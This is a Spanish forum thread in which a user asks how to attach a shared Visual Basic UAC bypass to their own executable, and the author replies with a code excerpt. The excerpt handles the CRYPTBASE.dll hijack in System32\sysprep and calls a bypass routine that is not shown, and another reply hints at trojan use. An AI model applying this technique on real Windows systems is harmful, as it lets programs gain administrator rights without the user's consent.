Página 1 de 1
Duda con source bpass uac de pink
Publicado: 24 Ago 2014, 14:34
por kjmania
Hola,
he estado probando este bypass, pero no se como aplicarlo a mi exe. no se si debo añadirlo como recurso o poner la ruta del exe. estoy probando pero no lo tengo nada claro.
decir que es la primera vez que utilizo vb y hay partes del codigo que no entiendo.
saludos
Re: Duda con source bpass uac de pink
Publicado: 24 Ago 2014, 16:34
por Pink
Como lo estas haciendo?
Saludos
Re: Duda con source bpass uac de pink
Publicado: 25 Ago 2014, 00:56
por kjmania
Hola pink,
pues he estado poniendo un "shell ruta" en distintos sitios, entre ellos al final de la funcion bypass, pero nada. Luego he estado leyendo como ponerlo como recurso, pero aun no lo he aplicado. mañana lo probare a ver q tal.
imagino que poco a poco se me ira aclarando el codigo.
saludos
Re: Duda con source bpass uac de pink
Publicado: 25 Ago 2014, 16:54
por Pink
Luego lo reviso que a mi ya se me olvido jajajaja.
saludos
Re: Duda con source bpass uac de pink
Publicado: 25 Ago 2014, 17:22
por joselin
todo bien, pero pink subio el codigo y hasta creo un video de como compilarlo
y no veo una duda concreta de tu parte
veo una pregunta parecia a "no me conecta el troyano que puede ser".
Re: Duda con source bpass uac de pink
Publicado: 26 Ago 2014, 19:07
por Pink
Estudia esta parte del código.
Dim sWindir As String
Dim sCryptsys As String
Dim sCrypTemp As String
If InIDE() Then
Call MsgBox("¬¬ Compila Primero!!!", vbOKOnly, "Pink")
End
End If
sWindir = Environ$("windir")
sCrypTemp = TempPath() & "CRYPTBASE.dll"
sCryptsys = sWindir & "\System32\sysprep\CRYPTBASE.dll"
If IsUserAnAdmin Then
If FileExist(sCrypTemp) Then
DeleteFile (sCrypTemp)
End If
While FileExist(sCryptsys)
If FileExist(sCryptsys) Then
DeleteFile (sCryptsys)
End If
Wend
Call MsgBox("Soy Admin :)", vbOKOnly, "Pink")
Else
Call MsgBox("No soy Admin :(", vbOKOnly, "Pink")
Call UACByPass
End
End If
Saludos
Re: Duda con source bpass uac de pink
Publicado: 27 Ago 2014, 12:53
por kjmania
gracias pink.
lo habia puesto despues del msgbox 'no soy admin'...soy asi de listo . ya esta solucionado y funciona de 10.
lo dicho, gracias por todo.
saludos